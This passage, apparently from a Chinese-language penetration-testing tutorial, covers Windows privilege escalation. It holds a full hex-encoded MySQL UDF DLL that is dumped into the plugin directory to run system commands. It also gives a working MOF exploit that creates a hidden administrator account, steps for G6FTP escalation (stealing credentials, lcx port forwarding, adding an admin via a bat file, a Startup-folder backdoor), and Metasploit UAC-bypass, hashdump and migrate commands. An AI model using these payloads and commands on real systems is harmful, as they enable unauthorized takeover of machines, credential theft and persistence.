d4ed046217d41e5e3f1903241aedbacf2c5007390f2a07801abbdc6e8367165b16743711640c340b7bd85b770442130c390c01118350118b9b6df705530133871c03e4001d5d90ed60430e057b743f09baeeb0d80401072f67079403a06077dbc10701462f462b1074092f0db6d94e3416033b01000715bb0bb6bd971574062f64f7df21000884ddb640ae043439741f00bf20eeecedb6140629034c341f0ba903e1c2debe240f05c305340a13234bd36d9b6e23431e14c45f0f470a75b713760554094b01098909a2071e7de572bb1f1e742f12640d34870142b71582bb2e1311cf0c03ca96dd0e01380f387427005124a3aafec10246ddcd5d20d266d4ff555516c900178fa02a1b003011764bd56c039180bfa007e0126dd79ddd03703407f803680b0013026a76fbba8603540b14021814170b581590fb2f07d9eeecf60a150310340727030034075bd5b9dd7003e0336f0724b3cc755dd7750b30074203ac0b9007f5b61b94db03c03233920c1903c8ba05a0eb0b10074f8be80b508375afeb077303444707990ba0b65dd77507e503280bf0073a1c033c0038b7eb0b5007f71ca70b77b63bdb8b191d2f2007381dcb40071dac7b5d83036c8307d30b601e9ded5eb3039b7c5f07c11e3be0d0ae3bdb07031f3b1007d6039c33ca1255954a005525a3aaa8aa9251645455c9d09ba0887c0402c4ff16360157616974466f7253ac7f2b40fc6c654f626abd14566972747561f63703c46c419a0d536574456e76126dbf01e26f6ee45661726961622b41eb2e40bc18437265b8546806640df65bf76d47264375727222502a636573734914e283cd1226135469636bb6fd6e03026e6b517565727950036684dedbb1f66d616e3716657218446973676fdbdbcf374c6962727879436192731a52746c633bb76d0970a2722d2c7874124cbdb5adfd6f6f6b7570463ec26916b2747279dfb5078b17cd556e77e47e4973446562736f6bed75676763a7a56583e11dfeb6b77268616e64457883704046696ca56c85c58719f19319dab61254176d65151153daf6586b39352b537973176dfa81e87517454173426509a3dbfe434388a0895f616d73675fcc6990b3850bbf5f5f435f73708b6966285f7e267cdb766f5f64116f035f706f6922430b76db2663da5f64ce280009626b31142d325f7a13c417840b5f7b50705b6c735f330a6c212205db5accd82a58096e73ed6bc982130fd76d643ed6bad6de756c343f15416d170cdea3e0020ab52689a3b565c933a196063bc16db15b0772652508661115080d5ba1739c29709f73149bb5adb93932ae6e074d0f85d7badbc56f736a663a70105e3b84ed70705831747b6d343fdf15f4c700f08c21180800e264860600a76efb0fe327a15ae6f00022200b020808120cb07744b314132e0010000005cf1e6c9b02020433050002088000c302f663146d160100022e063af76c650f0a50394330908de8db88223c1460e2d880d4bd0118020183703aacbb024b00303a011e4644a42b2e1054822d3bd810901200dc00b3dbc63b6f602e7264a76108550b53597761dd000c03162740022e26291b61f600d805100c22273616ececc02e702850eb27244fd820fc007273726300136027b3c7013226650942fca664b0702728421b4036c08d6d05ca7212d3060000000000009000ff0048894c240848895424104c8944241880fa010f854502000053565755488d35cdf0ffff488dbe0080ffff5731db31c94883cdffe85000000001db7402f3c38b1e4883eefc11db8a16f3c3488d042f83f9058a1076214883fdfc771b83e9048b104883c00483e9048917488d7f0473ef83c1048a10741048ffc0881783e9018a10488d7f0175f0f3c3fc415beb0848ffc6881748ffc78a1601db750a8b1e4883eefc11db8a1672e68d410141ffd311c001db750a8b1e4883eefc11db8a1673eb83e8037217c1e0080fb6d209d048ffc683f0ff0f843a0000004863e88d410141ffd311c941ffd311c9751889c183c00241ffd311c901db75088b1e4883eefc11db73ed4881fd00f3ffff11c1e83affffffeb835e4889f7b900120000b2004889fbeb2c8a074883c7013c80720a3c8f7706807ffe0f74062ce83c0177233817751f8b072500ffffff0fc829f801d8ab4883e9048a074883c70148ffc975d9eb0548ffc975be4883ec28488dbe007000008b0709c0744f8b5f04488d8c30b0a100004801f34883c708ff96eca1000048958a0748ffc708c074d74889f94889faffc8f2ae4889e9ff96f4a100004809c074094889034883c308ebd64883c4285d5f5e5b31c0c34883c4284883c704488d5efc31c08a0748ffc709c074233cef77114801c3488b03480fc84801f0488903ebe0240fc1e010668b074883c702ebe1488baefca10000488dbe00f0ffffbb00100000504989e141b8040000004889da4889f94883ec20ffd5488d871702000080207f8060287f4c8d4c24204d8b014889da4889f9ffd54883c4285d5f5e5b488d4424806a004839c475f94883ec804c8b442418488b542410488b4c2408e91f79ffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005cb0000054010000e404000000000000586000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564338302e435254222076657273696f6e3d22382e302e35303630382e30222070726f636573736f724172636869746563747572653d22616d64363422207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e0000000000000000000000002cb20000ecb1000000000000000000000000000039b200001cb20000000000000000000000000000000000000000000044b200000000000052b200000000000062b200000000000072b200000000000080b200000000000000000000000000008eb200000000000000000000000000004b45524e454c33322e444c4c004d5356435238302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c46726565000000667265650000000000000000a727a15a0000000074b30000010000001200000012000000c0b2000008b3000050b300007010000060100000001000008015000060100000701500002014000060100000901300000014000060100000901300003011000060100000c010000000130000e0120000a011000089b300009fb30000bcb30000d7b30000e3b30000f6b3000007b4000010b4000020b400002eb4000037b4000047b4000055b400005db400006cb4000079b4000081b4000090b4000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 INTO DUMPFILE 'C:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll'
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'
执行命令
select sys_eval('whoami');
mof提权
描述
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实例。之后,提供程序、事件类别和事件信息 便可由 WMI 和 Visual Studio Analyzer 使用。 在 MOF 文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文件进行编译
原理
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。
其实就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令
影响版本
1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.secure-file-priv参数不为null
漏洞复现
公开的nullevt.mof利用代码
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\""
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
把mof.php上传到脚本 填写命令导出即可
G6FTP提权
漏洞描述
G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能.
漏洞原理
G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端口转发(使用lcx 工具(lcx 具有三个功能:监听、转发、端口转向))。
netstat -ano
查看G6fp端口
漏洞复现
在webshell访问 配置文件,获取到的密码可以md5解密
C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini
cmd5破解
使用端口转发工具把8021端口转发出来 lcx.exe -tran 2333 127.0.0.1 8021
在攻击者上安装g6ftp 连接上服务端进行设置
这里执行命令需要2003版本及以下
将以下添加管理员命令 保存为bat文件上传到目标上 在设置里选择执行
net user moon QWEasd123 /add && net localgroup administrators moon /add
还可以登录fpt,上传Program.exe 系统重启时会自动执行不带引号的服务路径提权
写到启动项执行后门
ftp://192.168.0.108/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start% 20Menu/Programs/Startup/
bypass-UAC
描述
UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)
复现
bypassuac模块绕过uac
使用msf搜索 uac模块
通常使用 bypassuac模块 一般是可以绕过的 但是也不排除失败的可能
通过进程注入使可信任发布者证书绕过Windows UAC。
use exploit/windows/local/bypassuac
set session 1
run
在这里bypassuac失败
使用bypassuac_injection模块进行bypass
use exploit/windows/local/bypassuac_injection
此模块将利用受信任的通过进程注入发布者证书。它将产生一个关闭UAC标志的第二个shell。此模块使用反射DLL注入技术,仅丢弃DLL有效负载二进制文件,而不是标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构x64(也适用于SYSWOW64系统)。如果指定EXE::自定义DLL应在单独启动有效负载后调用ExitProcess()
use exploit/windows/local/bypassuac_injection
set session 1
run
如果使用hashdump
出现这些错误信息
迁移进程到64进程
ps
migrate 5720